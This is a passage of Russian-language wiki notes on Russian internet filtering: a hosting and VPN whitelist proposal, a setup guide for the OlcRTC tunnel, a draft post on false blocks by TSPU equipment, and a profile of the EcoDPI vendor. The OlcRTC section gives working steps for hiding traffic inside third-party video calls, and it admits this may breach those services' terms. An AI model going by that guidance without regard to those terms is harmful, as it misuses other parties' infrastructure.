несколько арендаторов, а виртуальные серверы соседствуют на общих подсетях. Исключение адреса из перечня бьёт по всем, кто на нём оказался; ограничение подсети «недобросовестного» хостера — по всем его клиентам сразу. Похожий сценарий уже наблюдался в российских сетях в 2026 году: [[DPI/tspu-false-blocks-june-2026|июньские ложные блокировки]] выносили обычные сайты на российских облаках, а [[DPI/tspu-whitelist-cloudflare-june-2026|сбой белых списков 23 июня]] уронил Twitch, Discord и часть GitHub. Третье — тридцатиминутный срок. Он рассчитан на автоматическую реакцию: за полчаса человек в поддержке хостера физически не успевает разобрать спорный случай, связаться с клиентом и получить объяснение. Значит, решение будет принимать скрипт по формальному признаку, а разбирательство переедет на стадию «после отключения». Для арендатора с минимальной идентификацией это означает, что его сервис могут выключить раньше, чем он узнает о претензии. ## Кого это касается на практике **Компании с корпоративными VPN на российских адресах** — основной адресат. Если ваш IP внесён в перечень ЦМУ ССОП, стоит заранее убедиться, что на нём не крутится ничего постороннего, и держать наготове описание того, зачем шифрованный канал нужен: по обсуждаемой схеме на ответ отводят сутки. **Арендаторы российских VPS, поднявшие «VPN для себя»** — под ударом в первую очередь. Личный сервер обхода на российском хостинге и раньше был сомнительной идеей: трафик всё равно проходит через ТСПУ, а хостер обязан выполнять требования регуляторов. Новая схема добавляет к этому короткое плечо реакции, если аккаунт подтверждён только телефоном или картой. **Пользователи зарубежных VPS** — вне периметра этой конкретной инициативы. Белый список ЦМУ ССОП относится к адресам в российской юрисдикции, иностранный сервер туда не попадает и иммунитета не имеет: его судьбу определяют общие правила фильтрации, а не статус в перечне. Напрямую обсуждаемые меры такой сценарий не затрагивают, но общий вектор — ужесточение требований к хостингу и идентификации — на него влияет косвенно, через доступность и цену инфраструктуры. **Обычные пользователи чужих сайтов** — как сопутствующий ущерб. Чем шире применяются санкции против адресов и подсетей, тем чаще ломаются сервисы, не имеющие к обходу блокировок никакого отношения. > [!tip] Практические выводы > Разделяйте задачи по адресам: корпоративный шлюз и всё остальное не должны жить на одном IP из белого списка. Держите документальное обоснование канала — при запросе на ответ отводят сутки. Не размещайте средства обхода на российских адресах, особенно на аккаунтах с минимальной идентификацией. И следите за формулировками в новостях: «обсуждается» и «вступает в силу» в этой теме разделяют месяцы, а иногда и вовсе разные исходы. ## Контекст: куда это встраивается Августовское обсуждение — не отдельная инициатива, а очередной шаг в последовательности, которую видно с 2023 года. | Период | Что произошло | Значение для схемы | |---|---|---| | Декабрь 2023 — февраль 2024 | Хостинг-провайдеров выделили в отдельную категорию регулирования; с 1 февраля 2024 года работа вне реестра Роскомнадзора запрещена, обязательны идентификация клиентов, СОРМ, ГосСОПКА | Появился реестр, через который вообще возможно адресное давление на хостеров: к июлю 2026 года в нём 584 записи | | Апрель 2025 | Роскомнадзор рекомендовал отказаться от иностранных протоколов шифрования или подать заявку в ЦМУ ССОП; в перечне около 75 тыс. записей | Создан сам белый список, вокруг которого идёт спор | | Март — апрель 2026 | Минцифры раздало крупным площадкам методику самостоятельного выявления VPN у пользователей; ориентиром называлось 15 апреля | Государство переносит часть работы по детекту на бизнес | | Апрель 2026 | Обсуждение поправок «Антифрод 2.0», запрещающих хостерам размещать VPN-сервисы | Хостер из технического посредника превращается в контролёра | | 10 и 17 июля 2026 | Минцифры предложило сократить способы идентификации клиентов хостинга до трёх — ЕСИА, ЕБС и личный визит; хостеры попросили исключение для иностранных клиентов, чья доля составляет 5–15% | Та самая идентификация, к которой августовская схема привязывает скорость блокировки | | 3 августа 2026 | Обсуждение постоянного мониторинга адресов из белого списка и градации санкций | Разбираемая новость | Стратегическая рамка этих шагов — в заметке [[DPI/rkn-vpn-2030-roadmap|о планах Роскомнадзора и Минцифры до 2030 года]]: официально закреплённый показатель эффективности ограничения VPN, пропуск всего трафика Рунета через фильтрующее оборудование и обсуждаемая идентификация пользователей. Параллельная линия — [[DPI/isp-licensing-reform-2026|реформа лицензирования операторов связи]]: чем меньше независимых игроков на рынке, тем проще централизованно применять любые правила. Обсуждаемая схема с хостерами укладывается в ту же логику — не запрещать VPN как класс, а сделать так, чтобы за каждым адресом стоял идентифицированный ответственный. При этом важно не приписывать новости больше, чем в ней есть. Схема не запрещает корпоративные VPN и не отменяет возможность получить доступ к зарубежным ресурсам для производственных задач. Она закрывает конкретную лазейку: попадание адреса в разрешённый перечень сегодня защищает всю размещённую на нём инфраструктуру независимо от реального назначения. Утвердят ли предложение, в каком виде и когда — на 3 августа 2026 года неизвестно. ## 📚 См. также - [[Белые списки]] — разводка трёх разных значений термина: мобильные шатдауны, облачные подсети и корпоративный перечень ЦМУ ССОП. - [[DPI/subnet-whitelist-blocking-2026|Блок подсетей по белому списку]] — как фильтрация целых диапазонов бьёт по посторонним сервисам. - [[DPI/vpn-blocking-wave-forecast-summer-2026|Прогноз новой волны блокировок VPN]] — что технически умеют системы распознавания туннелей и чего они не умеют. - [[DPI/rkn-vpn-2030-roadmap|Курс на 2030]] — официальные планы, в которые встраивается эта инициатива. - [[DPI/isp-licensing-reform-2026|Реформа лицензирования провайдеров 2026]] — параллельная зачистка рынка связи. - [[DPI/tspu-false-blocks-june-2026|Ложные блокировки ТСПУ, июнь 2026]] — цена ошибки при фильтрации по адресам и подсетям. - 🔗 [РБК — Минцифры обсудит усиление контроля за «замаскированными» VPN](https://pro.rbc.ru/demo/6a6f4c159a794723c09b298d) — первоисточник, 3 августа 2026 (полный текст по подписке). - 🔗 [SecurityLab — подробный пересказ публикации РБК](https://www.securitylab.ru/news/575627.php) — недельный мониторинг, сутки на ответ, градация санкций. - 🔗 [РБК — хостеры попросили особый порядок идентификации для иностранцев](https://amp.rbc.ru/rbcnews/technology_and_media/20/07/2026/6a5a64969a79477b3299d837) — июльская дискуссия об идентификации, к которой привязана градация. - 🔗 [Хакер — в Роскомнадзоре заявили, что не ограничивают корпоративные VPN](https://xakep.ru/2026/04/23/vpn-white-list/) — позиция регулятора и цифры по заявкам, апрель 2026. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/DPI/mincifry-whitelist-vpn-hosting-august-2026.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-16 tags: - dpi - webrtc - whitelist - discord - proxy - socks5 - tool - obhod aliases: - OlcRTC - olcrtc - OpenLibreCommunity RTC - Туннель через WebRTC - Обход белых списков через видеозвонки link: https://github.com/openlibrecommunity/olcrtc --- # 📞 OlcRTC — туннель через WebRTC-звонки для обхода белых списков > [!info] О чём заметка > **OlcRTC** — это инструмент обхода блокировок, который прячет ваш трафик **внутри обычного видеозвонка** на разрешённом сервисе видеоконференций (Jitsi, Яндекс Телемост, WbStream). Он придуман для сценария, где прямой доступ к произвольному VPS/IP уже не работает — например, при **«белых списках»**, когда пропускается только трафик к одобренным сервисам. Механику самих белых списков разбирают [[DPI/subnet-whitelist-blocking-2026|блокировка подсетей по белому списку]] и [[DPI/rdp-ecodpi|разбор оборудования ТСПУ EcoDPI]], где whitelist-режим описан по официальному руководству производителя; здесь — про инструмент, который такой режим обходит. > [!warning] Статус проекта > OlcRTC — **бета** (лицензия WTFPL, по данным репозитория на июль 2026). Часть функций может быть нестабильна, клиента для iOS в основном репозитории нет. Проект опирается на **сторонние публичные сервисы** (Jitsi, Телемост, WbStream): их доступность, лимиты и правила использования могут меняться, и туннелирование постороннего трафика через чужой сервис может нарушать его условия обслуживания. Оценивайте это сами. ## TL;DR - OlcRTC (OpenLibreCommunity RTC) — **зашифрованный TCP-туннель поверх WebRTC**. Снаружи он выглядит как легальный видеозвонок на разрешённый сервис, а внутри — ваш трафик под шифрованием. - Задача — **обойти белые списки**: провести доступ в «большой интернет» через сервис, который у вас в сети уже работает (в РФ это, например, Яндекс Телемост или WbStream). - Схема: `приложение → локальный SOCKS5 → olcrtc cnc (клиент) → WebRTC/SFU-сервис → olcrtc srv (сервер) → интернет`. - Клиентская часть (`cnc`) поднимает **локальный SOCKS5-прокси**; в него направляете браузер, `curl`, sing-box или другое приложение. - Шифрование — **XChaCha20-Poly1305**, мультиплексирование — **smux** поверх WebRTC data/video-каналов. Общий ключ (64 hex-символа) одинаков на клиенте и сервере. - Рекомендуемый старт: провайдер **Jitsi + канал datachannel**. Есть варианты для роутеров (OpenWRT/LuCI), десктопа (Electron) и Android. ## Какую проблему решает Обычный обход блокировок (VPN, VLESS, прокси) предполагает, что вы можете дотянуться до **своего** сервера по произвольному IP. Но если сеть переведена в режим **«белого списка»** — когда по умолчанию всё закрыто и пропускается только трафик к одобренным адресам, — этот подход ломается: до вашего VPS просто нет маршрута. **Проще говоря:** белый список переворачивает логику блокировки. Обычно «запрещён список плохих сайтов, остальное можно»; в белом списке — «разрешён список хороших сервисов, остальное нельзя». В такой сети недостаточно спрятать трафик — нужно провести его **через разрешённый сервис**. OlcRTC делает именно это: он берёт сервис видеоконференций, который **уже есть в белом списке** и работает, и использует его как посредника. Ваши данные едут внутри WebRTC-сессии этого сервиса. Для наблюдателя-DPI это выглядит как обычный звонок на разрешённый IP, а полезная нагрузка вдобавок зашифрована вашим ключом. ### Почему это всплывает в контексте Discord Голос в Discord работает по **WebRTC поверх UDP**, и DPI умеет опознавать маркеры WebRTC и резать такой трафик вплоть до нуля — отсюда «вечное подключение к голосовому каналу». Обычный TCP-прокси голос Discord не спасает (UDP через него не идёт без заворачивания всего трафика в TUN). OlcRTC заходит с другой стороны: не пробивает прямое UDP-соединение к серверам Discord, а **маскирует туннель под легитимный WebRTC-звонок** на разрешённый сервис. > [!note] Не «волшебная кнопка для голоса Discord» > OlcRTC — это общий туннель для обхода белых списков, а не специализированный «фикс голоса». Discord — лишь один из мотивов его появления. Насколько удобно через него идёт именно голосовой трафик Discord, зависит от режима (SOCKS5/TCP против полного заворота трафика) и версии клиента; относитесь к «починке Discord» как к одному из применений, а не гарантии. ## Как это устроено технически Полная цепочка на уровне туннеля выглядит так: ``` приложение → SOCKS5 (127.0.0.1:8808) → olcrtc cnc (клиент) → WebRTC / SFU-сервис (Jitsi / Телемост / WbStream) → olcrtc srv (сервер) → интернет ``` А внутри самого туннеля данные проходят стадии: `SOCKS CONNECT → smux → XChaCha20-Poly1305 → engine → WebRTC/SFU`. **Две роли компонентов:** - **`cnc` (client)** — клиентский режим: поднимает локальный SOCKS5-прокси, принимает подключения приложений и заворачивает их в WebRTC-сессию. - **`srv` (server)** — серверный режим: подключается к **той же комнате** WebRTC-сервиса, принимает зашифрованные потоки и выполняет реальные TCP-соединения к целевым адресам в интернете. **Провайдеры (SFU-сервисы):** Jitsi, Yandex Telemost, WbStream. **Транспортные каналы:** `datachannel`, `vp8channel`, `seichannel`, `videochannel` — они определяют, как байты туннеля упаковываются в примитив WebRTC. Рекомендуемое сочетание для старта — `jitsi + datachannel`; альтернатива — `wbstream + vp8channel`. Проект написан на Go (сборка через `mage`), поддерживает Linux, macOS, Windows, Android (через gomobile) и встраивание как Go-библиотеку. ## Установка и запуск (в общих чертах) Точные шаги — в документации проекта (`docs/fast.md`, `docs/manual.md`); здесь — принцип. - [ ] Сгенерировать общий ключ: `openssl rand -hex 32` (64 hex-символа). Ключ **должен совпадать** на сервере и клиенте. - [ ] Установить зависимости: **Podman** и **git**. - [ ] Склонировать репозиторий **с подмодулями** (важно для видеоканала): `git clone https://github.com/openlibrecommunity/olcrtc --recurse-submodules` и `cd olcrtc`. - [ ] Запустить сервер: `./scripts/srv.sh`. На слабых VPS рекомендуют заранее создать swap-файл, чтобы сборка/работа не подвисали. - [ ] Получить **ID звонка (room ID)**: найти активную комнату и скопировать ID из адресной строки, либо (для WB Stream и SaluteJazz) дать серверу сгенерировать его автоматически — он выведет ID в терминале. Этот ID нужно прописать в конфиге. - [ ] Указать в конфиге сервера: провайдера (напр. Jitsi), room ID, crypto key, DNS. - [ ] На клиенте запустить режим `cnc` — он поднимет локальный SOCKS5; направить в него приложение (браузер, `curl`, sing-box, olcbox). > [!important] Ключевое условие > Сервис видеозвонков, который вы выбираете провайдером, **должен быть доступен (в белом списке) в вашей сети** — иначе туннель не через что вести. Если один сервис не работает, пробуйте другой из поддерживаемых. В этом и весь смысл: вы паразитируете на уже разрешённом канале. ## Варианты для не-технических пользователей - **OpenWRT / роутер.** Есть отдельный проект с веб-интерфейсом в LuCI (Службы → OlcRTC): OlcRTC поднимается на роутере как SOCKS5-прокси, и трафик устройств за роутером идёт через WebRTC-туннель. Установка — скриптом по SSH (скрипт спросит архитектуру и скачает нужный бинарник). Поддерживает импорт строки подключения `olcrtc://…` и подписки (ссылка на `sub.md` с автообновлением карточек серверов). - **Десктоп на Electron** — на случай, если у вас нет VPS/Linux. - **Android-приложение** — с раздельным туннелированием, режимом proxy-only и др. - **Docker-образ** — для быстрой настройки на VPS. ## Ограничения - **Обе стороны должны быть в одной комнате** WebRTC-сервиса (общий room ID + общий ключ). - **Зависимость от провайдера:** не все сервисы поддерживают все транспорты; например, WB Stream с `datachannel` не работает в гостевом режиме. - **Бета-статус:** возможна нестабильность; iOS-клиента в основном репозитории нет. - **Внешняя зависимость:** работоспособность держится на чужих публичных сервисах — если провайдер поменяет API или заблокирует такое использование, конкретный транспорт может отвалиться. ## 📚 См. также - [[DPI/subnet-whitelist-blocking-2026|Блокировка подсетей по белому списку]] — та самая модель фильтрации, ради обхода которой и сделан OlcRTC - [[DPI/rdp-ecodpi|EcoDPI и компания РДП.РУ — «железо» ТСПУ]] — как whitelist-режим реализован в оборудовании ТСПУ (по руководству производителя) - [[DPI/dpi-analysis-pipeline|Как DPI анализирует соединение: воронка проверок]] — почему «легальный WebRTC-звонок» проходит там, где прямой туннель режется - [[DPI/rkn-vpn-2030-roadmap|Дорожная карта РКН до 2030 года]] — куда движется фильтрация, при которой обход через разрешённые сервисы становится актуальнее - 🔗 [OlcRTC на GitHub](https://github.com/openlibrecommunity/olcrtc) — исходники, `docs/fast.md`, `docs/manual.md` - 🔗 [OlcRTC-OpenWRT (веб-интерфейс для роутера)](https://github.com/tankionline2005/OlcRTC-OpenWRT) — запуск на роутере через LuCI - 🔗 [Гайд по настройке OlcRTC (denpiligrim.ru)](https://denpiligrim.ru/guides/olcrtc-proxy) — стороннее пошаговое руководство --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/DPI/olcrtc.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-06-11 tags: - post - tspu - rkn - dpi - hosting aliases: - Пост почему легли ру-сайты июнь 2026 - Опять виноват РКН пост link: https://ebyebots.ru/blog/kak-tspu-roskomnadzora-lomaet-legitimnye-sajty-i-servery-v-iyune-2026-goda-tehnicheskij-razbor/ --- # 📡 Почему с июня 2026 «легли» сайты на российских хостингах (спойлер: опять ТСПУ) > [!info] Что это > Черновик публицистического поста для канала/блога. Факты сверены с разборами eByeBots, @hyperion_cs, 3DNews и CNews — подробные технические заметки в разделе «См. также». Ниже — готовый текст для публикации. --- **Если с 6 июня у тебя через раз открываются сайты на Beget, Timeweb или Selectel, виснет «Connection timed out», не грузятся картинки, а сервер вдруг перестал даже пинговаться — выдохни. Твой хостер не сломался, и руки у тебя не кривые.** Это снова **ТСПУ** — то самое оборудование Роскомнадзора, которое стоит у каждого оператора связи и фильтрует весь наш трафик. В начале июня его в очередной раз «подкрутили», и под раздачу попали тысячи **абсолютно легальных** сайтов. Никакого реестра запрещённых, никакого суда — просто побочный ущерб. ## 🎯 Так в кого вообще целились? В VPN. РКН который год пытается задушить обход блокировок, и старый способ — банить конкретные IP-адреса — перестал работать: серверы переезжают быстрее, чем их вносят в списки. Поэтому цензор сменил тактику и начал ловить **не адрес, а поведение** зашифрованного трафика. Проблема в том, что «подозрительное поведение» VPN-туннеля и поведение обычного тяжёлого сайта со стороны выглядят **почти одинаково**. Вот фильтр и не различает. ## 🚪 Как это работает (на пальцах) Представь охранника, которому приказали ловить контрабандистов. Он тормозит человека, только если совпали **сразу три приметы**: 1. **Приехал из «плохого района»** — сервер сайта стоит в дата-центре, чьи сети попали под подозрение (а это почти любой коммерческий хостинг). 2. **Одет в «подозрительную форму»** — ты зашёл с Chrome, Safari или айфона (то есть как 90% людей). 3. **Мечется через проходную** — твой браузер, открывая страницу, лезет за картинками и скриптами не одним заходом, а сразу десятком соединений. Поодиночке каждая примета безобидна. Но все три совпадают у миллионов обычных людей **одновременно и случайно** — и охранник «замораживает» честного посетителя на пару минут. Контрабандиста ловить хотели, а тормознули тебя. ## 🤷 Почему у соседа работает, а у меня нет Потому что блокировка **«плавающая»**: зависит от твоего оператора, региона и даже браузера. На мобильном интернете одного оператора сайт открывается, на домашнем другого — лежит. Поэтому в чатах хаос: одни кричат «всё пропало», другие пожимают плечами. Техподдержка хостеров честно разводит руками — с их стороны аварии действительно нет. Кстати, почти не пострадал **REG.RU** — просто потому, что его адреса заранее в «белых списках» фильтрации. Повезло. ## 🛠️ Что с этим делать **Если ты обычный пользователь:** - Открой упавший сайт в **Firefox** — у него другой «почерк», под примету №2 он не попадает. - Или отключи в Chrome флаг QUIC: `chrome://flags/#enable-quic` → **Disabled** (лечит часть зависаний). **Если это твой сайт:** - Переведи его на **HTTP/2** — тогда браузер грузит всё одним соединением вместо лавины, и примета №3 не срабатывает. - Как ни странно, помогает откатить шифрование на **TLS 1.2**: цензору он «понятнее», чем новый TLS 1.3, и трафик считается «своим». - Юрлицам и ИП — можно подать заявку хостеру на внесение в «белый список». ## 💬 Вывод Самое абсурдное здесь — что «обходить блокировку» не нужно: сайты-то **легальные**. Их никто не запрещал. Лечится всё обычной настройкой сервера. Просто РКН в погоне за VPN выкрутил фильтры так грубо, что задел половину рунета — и переложил издержки своей войны на бизнес и обычных людей, которые ни сном ни духом. Цензура, которая ломает то, что даже не собиралась запрещать. Как обычно. --- ## 📚 Подробные технические разборы (для тех, кто хочет глубже) - [[DPI/tspu-false-blocks-june-2026|Как ТСПУ ломает легитимные сайты: «Июньская блокировка 2026»]] — полный разбор И-триггера из трёх условий, диагностика, все фиксы. - [[DPI/tspu-http2-tls12-fix|HTTP/2 Only + TLS 1.2 против ТСПУ]] — гайд для владельцев сайтов: почему HTTP/2 и парадокс TLS 1.2. - [[DPI/tspu-disable-quic-chrome|Отключение QUIC в браузере]] — клиентский приём против таймаутов на HTTP/3. - [[DPI/chrome-cnsa-flag-bypass|Флаг Chrome cryptography-compliance-cnsa]] — сменить TLS-отпечаток без смены браузера. - [[DPI/tspu-3xui-scmininterval-trap|Ловушка обновления 3x-ui]] — для тех, кто держит свой прокси на Xray. - [[nuc/mincifry-nuc-certs-danger-june-2026|Почему сертификаты Минцифры (НУЦ) опасны]] — другая сторона того же кризиса июня 2026: отзыв TLS-сертификатов, тупик с госкорнем и сценарии изоляции рунета. --- --- date: 2026-07-16 tags: - dpi - tspu - rkn - rdp - ecodpi - ecosge - hardware - whitelist - sni - censorship - rostelecom aliases: - EcoDPI - EcoSGE - РДП.РУ - RDP.ru - Оборудование ТСПУ - Кто делает ТСПУ - Производитель DPI для Роскомнадзора - EcoFilter - EcoRouter - ДЦОА link: https://www.rdp.ru/en/products/service-gateway-engine/ecodpi/ --- # 🏭 EcoDPI и компания РДП.РУ — «железо» российских ТСПУ > [!info] О чём заметка > **ТСПУ** (Технические Средства Противодействия Угрозам) — это «чёрные ящики» глубокой инспекции трафика (DPI), которые по закону о «суверенном интернете» с 2019 года стоят у всех российских операторов и которыми централизованно управляет Роскомнадзор. Заметка отвечает на вопрос «кто вообще делает это оборудование и что оно умеет»: разбирает компанию-производителя **РДП.РУ** (RDP.ru), её платформу **EcoSGE / EcoDPI**, а также — по её же официальному руководству — конкретные механизмы блокировки и слежки. Механику отдельных блокировок со стороны абонента разбирают соседние заметки: [[DPI/dpi-analysis-pipeline|воронка проверок DPI]], [[DPI/subnet-whitelist-blocking-2026|белые списки подсетей]], [[DPI/browser-ja4-fingerprint-block|блокировка по JA4]]; куда движется вся система — [[DPI/rkn-vpn-2030-roadmap|дорожная карта РКН до 2030]]. Здесь фокус на самом вендоре и его коробке. > [!warning] Статус данных: четыре разных уровня достоверности > Материал собран из источников, к которым нужно относиться по-разному, и по тексту это помечено. **(1) Технические функции** — из официальных материалов RDP.RU (страница продукта EcoDPI и руководство пользователя EcoSGE, англоязычная версия): первоисточник от производителя. **(2) Владение, суммы, финансы** — из деловых СМИ (CNews, «Коммерсантъ», Habr, ComNews) и реестров: журналистика, даты и цифры атрибутированы. **(3) Полевые измерения поведения ТСПУ** — из академических работ (Censored Planet) и мониторинга (OONI): воспроизводимые замеры. **(4) Оценки роли в цензуре, назначение функций слежки** — из отчёта Human Rights Watch (июль 2025) и интервью: это трактовки, а не признания производителя. Отдельно держите в голове: часть цифр — это **планы и прогнозы** (напр. пропускная способность к 2030), а не текущее состояние. РДП.РУ публично позиционирует продукты как операторские инструменты (CG-NAT, BRAS, фильтрация по закону), а не «оружие цензуры» — двойное назначение оборудования реально. ## TL;DR - **РДП.РУ (RDP.ru, Research & Development Partners)** — российский разработчик операторского DPI-оборудования, основан в 2010 году. С 2020 года на 100% контролируется **«Ростелекомом»**; за консолидацию контроля в 2020-м заплачено, по данным CNews, около **1,68 млрд рублей** (округляется до «1,7 млрд»). - Её платформа **EcoSGE** («Service Gateway Engine») — одна коробка на x86-железе, совмещающая CG-NAT (EcoNAT), контроль абонентов (EcoBRAS), URL-фильтрацию (EcoFilter), zero-rating (EcoZR), метрики качества (EcoQoE) и **EcoDPI** — анализ трафика до 7-го уровня OSI с распознаванием **более 3200 приложений** (маркетинговая метрика, росла со временем: 2000 → 3000 → 3200). - Именно ПО РДП.РУ, по данным HRW и академических работ Censored Planet, лежит в основе **ТСПУ** — единой государственной системы DPI, которой управляет Роскомнадзор через **ЦМУ ССОП**. - По официальному руководству EcoSGE устройство умеет ровно то, что абоненты наблюдают у ТСПУ: **фильтрацию по полю SNI** в TLS с разрывом соединения, **инъекцию пакета-сброса (RST)** для HTTPS и редиректа для HTTP, **«белый список» с запретом всего по умолчанию**, а также **журналирование веб-запросов абонентов** на syslog (функция `clickstream`) и NetFlow. - Первое громкое применение — **замедление Twitter с 10 марта 2021 года** (по замерам Censored Planet — дросселирование до ~100–150 кбит/с по метке SNI). - Производительность моделей — от **6 Гбит/с** (младшая платформа 2010) до **200 Гбит/с** (EcoDPI 4160) на юнит; кластер **EcoDPI Teracluster** масштабируется до 40 Тбит/с на узел. - Бизнес прошёл реорганизацию 2024–2026 (структуры «Градиент», «РДП Энтерпрайз»); выручка в 2024 году, по СМИ, упала на 68%, но с планируемым обновлением ТСПУ (бюджет порядка **59 млрд рублей**) ожидается новый спрос. ## Компания РДП.РУ ### Происхождение и основатели **РДП.РУ** (расшифровывается как Research & Development Partners) основана в **2010 году** в составе группы «Экотелеком» как разработчик сетевых решений операторского класса на серийных x86-платформах (данные TAdviser). Юрлица группы — **ООО «РДП.РУ»** (Москва) и **ООО «РДП Инновации»** (бренд маршрутизаторов EcoRouter). Компания начинала не с цензуры, а с сугубо инфраструктурных задач для интернет-провайдеров. Первым продуктом (2013) был **EcoNAT** — Carrier-Grade NAT (трансляция адресов, которая позволяет оператору «раздать» один публичный IPv4 многим абонентам). По данным CNews, ключевые основатели-разработчики — **Сергей Никулин и Николай Гузаков** (на начало 2020 года владели по ~30%), а соучредителем стал **Антон Сушкевич** (основатель интегратора «Энвижн Груп») с долей около 25% через ООО «Эдвансмент Груп». **Проще говоря:** компания выросла как поставщик «нормального» операторского железа — чтобы провайдеру хватало адресов и он мог управлять скоростью абонентов. Затем государство выкупило её целиком, и то же самое железо стало основой национальной системы фильтрации. ### Как «Ростелеком» получил контроль Поглощение шло поэтапно (по данным CNews, март 2021): - **Ноябрь 2016** — венчурный фонд «Ростелекома» **«КоммИТ Кэпитал»** покупает 15% за ~130 млн рублей. - **Начало 2020** — уфимская **ПАО «Башинформсвязь»** (дочерняя «Ростелекому») покупает **59,99% за 1,19 млрд рублей**. - **Лето 2020** — та же «Башинформсвязь» докупает **25,01% за 494 млн рублей**. - Итого за 85% в 2020 году — около **1,68 млрд рублей** (это и есть заголовочные «1,7 млрд»); с учётом сделки 2016 года консолидация 100% обошлась примерно в **1,81 млрд рублей**. Продукты компании, по сообщениям СМИ того периода, изначально предполагалось использовать для «умной» блокировки Telegram, а затем они стали основой ТСПУ. ### Финансы: взлёт на госзаказе и спад 2024 года Финансовые показатели РДП.РУ почти зеркально повторяют график развёртывания ТСПУ. По данным деловых СМИ (ComNews, «Коммерсантъ», CNews) выручка росла с сотен миллионов рублей в 2018–2019 годах до нескольких миллиардов к 2021–2022 годам и **пика порядка 7–8 млрд рублей в 2023 году** (чистая прибыль ~2,2 млрд), а затем в **2024 году упала примерно на 68% — до ~2,3 млрд рублей** (чистая прибыль −85%, до ~328 млн). В 2025 году выручка, по сообщениям, снова выросла примерно вдвое — до ~4,5 млрд. > [!note] Почему цифры «пляшут» > Точные годовые показатели в разных источниках расходятся (данные РСБУ из реестров против оценок СМИ; выручка «от основной деятельности» против общей с прочими доходами). Поэтому конкретные суммы по годам держите как **порядок величины с атрибуцией**, а не как выверенный факт — за точными цифрами нужно идти в СПАРК/бухотчётность по ИНН. Ключевой **тренд** при этом устойчив во всех источниках: резкий рост в 2021–2023 на массовой установке ТСПУ и спад в 2024-м, когда парк уже был развёрнут. Эксперты рынка (ComNews, CNews) связывают спад 2024 года не с сокращением числа ТСПУ (их едва ли стало меньше), а с **завершением основного этапа массовых поставок**: у операторов комплексы уже стоят, новых установок мало. ### Реорганизация 2024–2026: «Градиент» и «РДП Энтерпрайз» С 2024 года бизнес прошёл сложную перестройку (по материалам CNews и Telesputnik): - В **июле 2024** создана SPV-структура «Ростелекома» **АО «Градиент»**. - К **24 сентября 2025** «Башинформсвязь» полностью вышла из капитала РДП.РУ, и 100% компании перешло на **«Градиент»**. То есть с 2025 года владелец РДП.РУ — уже не напрямую «Ростелеком»/«Башинформсвязь», а промежуточная структура «Градиент». - Выделено новое юрлицо **ООО «РДП Энтерпрайз»** (доли: 90% у «Рестрим», структуры «Ростелекома», 10% у ООО «Архитект»). По данным CNews, это **коммерческое юрлицо для частного сектора и мобильных операторов**, отделённое от «государственного» направления. - В «Ростелекоме» всё это называют «внутригрупповой реструктуризацией»; эксперты (это **оценка**, не факт) видят в ней разделение бизнеса на государственных и частных заказчиков с разными «точками входа». ### Интегратор ДЦОА Важная деталь: сама РДП.РУ **разрабатывает** ПО, но поставкой и монтажом ТСПУ на сетях операторов занимается отдельная компания-интегратор — **АО «Данные — центр обработки и автоматизации» (ДЦОА)**, зарегистрированная в ноябре 2018 года специально под закон о «суверенном Рунете». С сентября 2019 года ДЦОА возглавил экс-глава Nokia в России и бывший замминистра связи **Рашид Исмаилов** (до него компанией недолго руководил Павел Никитин). Зависимость тут почти абсолютная: по данным «Коммерсанта», доля ДЦОА в выручке РДП.РУ составляла **95% (2022) → 97% (2023) → ~80% (2024)**. Финансовые показатели самой ДЦОА раскрывались только за 2022 год: выручка **12,4 млрд рублей**, прибыль **1,7 млрд**. В июне 2026 года ДЦОА объявила закупку российских серверов на **1,31 млрд рублей** на фоне роста трафика и усиления борьбы с VPN. ## Продуктовая экосистема **EcoSGE** (Service Gateway Engine) — универсальная платформа на серийном x86-железе, где на одной «коробке» одновременно включаются несколько сетевых функций (каждая с приставкой Eco-): | Модуль | Что делает | |---|---| | **EcoNAT** | Carrier-Grade NAT (CG-NAT/PAT, Basic NAT, статическая 1:1) — экономия IPv4 | | **EcoBRAS** | Контроль абонентов: ограничение скорости, отключение должников с редиректом на портал | | **EcoFilter** | URL-фильтрация по реестрам РКН/Минюста — блокировка запрещённых сайтов | | **EcoDPI** | Анализ трафика до L7, распознавание более 3200 приложений и протоколов | | **EcoQoE** | Сбор метрик качества восприятия услуг (Quality of Experience) | | **EcoZR** | Zero-rating — бесплатный доступ к социально значимым ресурсам | Помимо EcoSGE, у РДП.РУ есть маршрутизаторы **EcoRouter** (собственная ОС EcoRouterOS, позиционируются как импортозамещение Cisco/Juniper/Huawei; первый релиз — ноябрь 2016) и отказоустойчивый DPI-кластер **EcoDPI Teracluster** (анонс, ноябрь 2017), масштабируемый до **40 Тбит/с на узел** и собранный из компонентов EcoDPI Bypass, Unit, cEMS (управление), Collector и модуля балансировки (EcoDPIOS-LB). > [!note] Частые путаницы в названиях > **EcoZR** — это zero-rating (бесплатный доступ к части ресурсов), а **не** защита от DDoS; за DDoS у РДП.РУ отвечают отдельные продукты EcoDDS/EcoTap. Метрика «3200 приложений» — маркетинговая и менялась во времени (2000 → 3000 → 3200). Обозначение «1010» относится к платформе EcoFILTER, а не к NAT/DPI на 6 Гбит/с (там младшая модель — 2010). Модель «5200» в публичных каталогах не подтверждена — конкретные ТТХ для неё приводить не стоит. ## EcoDPI: что именно распознаёт **EcoDPI** — DPI-часть платформы: **глубокая инспекция пакетов вплоть до прикладного уровня (L7)**. Она не просто смотрит на IP-адреса и порты, а разбирает содержимое, чтобы понять, какое приложение или протокол сгенерировали трафик. По данным производителя — **свыше 3200** приложений, распознавание идёт по обновляемой **базе сигнатур**, статистика и логи сессий экспортируются на систему-коллектор, а по результату можно применять политики (ограничить скорость, промаркировать, сбросить, запретить). **Проще говоря:** обычный роутер видит «пакет пошёл на такой-то адрес». DPI-модуль пытается понять «это Telegram / это торрент / это VPN такого-то типа» — по косвенным признакам, даже когда порт стандартный, а трафик зашифрован. > [!warning] Что вендор НЕ 